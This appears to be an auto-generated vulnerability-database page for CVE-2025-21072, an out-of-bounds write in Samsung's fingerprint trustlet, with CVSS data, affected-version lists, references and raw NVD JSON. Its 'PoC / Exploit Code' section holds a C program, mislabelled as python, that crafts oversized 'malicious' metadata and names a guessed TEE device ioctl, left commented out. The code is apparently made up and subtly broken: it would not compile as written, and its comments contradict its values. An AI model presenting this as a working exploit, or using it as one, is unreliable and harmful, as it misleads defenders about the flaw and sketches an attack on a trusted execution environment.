CVE-2025-21072

Description

Out-of-bounds write in decoding metadata in fingerprint trustlet prior to SMR Dec-2025 Release 1 allows local privileged attackers to write out-of-bounds memory.

CVSS Details

CVSS Score

5.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:samsung:android:13.0:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:samsung:android:13.0:smr-apr-2025-r1:*:*:*:*:*:* - VULNERABLE

Samsung Fingerprint Trustlet < SMR Dec-2025 Release 1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-21072 PoC - Samsung Fingerprint Trustlet OOB Write
// Note: This is a conceptual PoC for educational purposes only
// Actual exploitation requires TEE debugging tools and device-specific setup

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// Simulated fingerprint metadata structure
struct fingerprint_metadata {
    uint32_t magic;
    uint32_t version;
    uint32_t data_length;
    uint8_t* data;
    uint32_t checksum;
};

// Malicious metadata generator for triggering OOB write
unsigned char* craft_malicious_metadata(size_t* out_size) {
    // Craft metadata with oversized data field
    size_t total_size = sizeof(fingerprint_metadata) + 0x1000; // Oversized
    unsigned char* payload = malloc(total_size);
    
    if (!payload) return NULL;
    
    fingerprint_metadata* meta = (fingerprint_metadata*)payload;
    meta->magic = 0x464E4750; // 'FNDP' fingerprint marker
    meta->version = 0x00010001;
    meta->data_length = 0x10000; // Intentionally large length
    meta->data = payload + sizeof(fingerprint_metadata);
    meta->checksum = 0xDEADBEEF;
    
    // Fill data with controlled pattern for debugging
    memset(meta->data, 0x41, 0x1000);
    
    *out_size = total_size;
    return payload;
}

int trigger_fingerprint_vulnerability() {
    size_t payload_size;
    unsigned char* malicious_data = craft_malicious_metadata(&payload_size);
    
    if (!malicious_data) {
        printf("[-] Failed to craft payload\n");
        return -1;
    }
    
    printf("[+] Crafted malicious fingerprint metadata: %zu bytes\n", payload_size);
    printf("[+] Attempting to send to fingerprint trustlet...\n");
    
    // In real scenario, this would interface with TEE driver
    // int fd = open("/dev/tz_fingerprint", O_RDWR);
    // ioctl(fd, FINGERPRINT_TRUSTLET_DECODE, malicious_data, payload_size);
    
    printf("[!] PoC requires: 1) Root access 2) TEE debugging enabled\n");
    printf("[!] This vulnerability allows OOB write in trusted execution environment\n");
    
    free(malicious_data);
    return 0;
}

int main() {
    printf("=== CVE-2025-21072 Samsung FP Trustlet OOB Write PoC ===\n");
    return trigger_fingerprint_vulnerability();
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-21072
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-21072
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-21072/
[4] VulDB https://vuldb.com/cve/CVE-2025-21072
[5] https://security.samsungmobile.com/securityUpdate.smsb?year=2025&month=12

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-21072", "sourceIdentifier": "[email protected]", "published": "2025-12-02T02:15:46.110", "lastModified": "2025-12-05T19:49:13.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds write in decoding metadata in fingerprint trustlet prior to SMR Dec-2025 Release 1 allows local privileged attackers to write out-of-bounds memory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.5, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:-:*:*:*:*:*:*", "matchCriteriaId": "A123EDB1-3048-44B0-8D4D-39A2B24B5F6B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "BDE4D65E-8F9B-4810-AED6-95564A97D741"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "70825981-F895-4BFD-9B6E-92BFF0D67023"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "A5E68B7B-BA08-4E8C-B60A-B3836C6986BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "AC42E785-02BF-4F27-B5CF-49572A2DBC8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "0AF1EDA0-2712-4C3C-8D8A-89E154BB63DF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "88DC0A82-CAF3-4E88-8A4D-8AF79D0C226D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6239D93F-CA0E-4120-96A1-FB63276EAEE8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "25F19D02-1FFC-48AF-9CB8-063C459E7A4B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "CD382E2D-0B51-4908-989A-88E083FC85BF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "299284DA-85AB-4162-B858-E67E5C6C14F7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "38B7AB56-AB65-4557-A91C-40CA2FD12351"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "858B0736-2272-4D5A-A77F-47023D21F7D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "61D507C0-086B-4139-A560-126964DFA579"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "D98F307E-3B01-4C17-86E5-1C6299919417"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "952CA843-7CF0-4424-BDA4-3F2A93E077B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "39F64BAA-2E49-4919-A940-219391383D5E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "57B125ED-D939-4CBC-9E96-BBCF02402A69"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "7D7DA96D-9C25-4DDA-A6BF-D998AC346B89"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "07AC19C6-D245-4C3A-90CC-A931A901EA0A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "FDA1685E-D101-46F6-8857-7F0894E07748"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jul-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "DF85AA7B-E1C7-4946-92B4-E4D545CAACDF"}, {"vulnerable": true, "criteria" ... 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